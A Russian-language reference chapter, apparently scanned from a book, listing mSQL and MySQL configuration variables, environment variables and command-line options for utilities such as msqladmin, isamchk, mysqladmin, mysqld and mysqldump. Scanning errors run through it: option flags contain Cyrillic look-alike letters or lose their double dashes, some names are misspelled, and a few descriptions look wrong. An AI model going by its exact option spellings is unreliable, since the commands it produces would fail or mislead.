    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

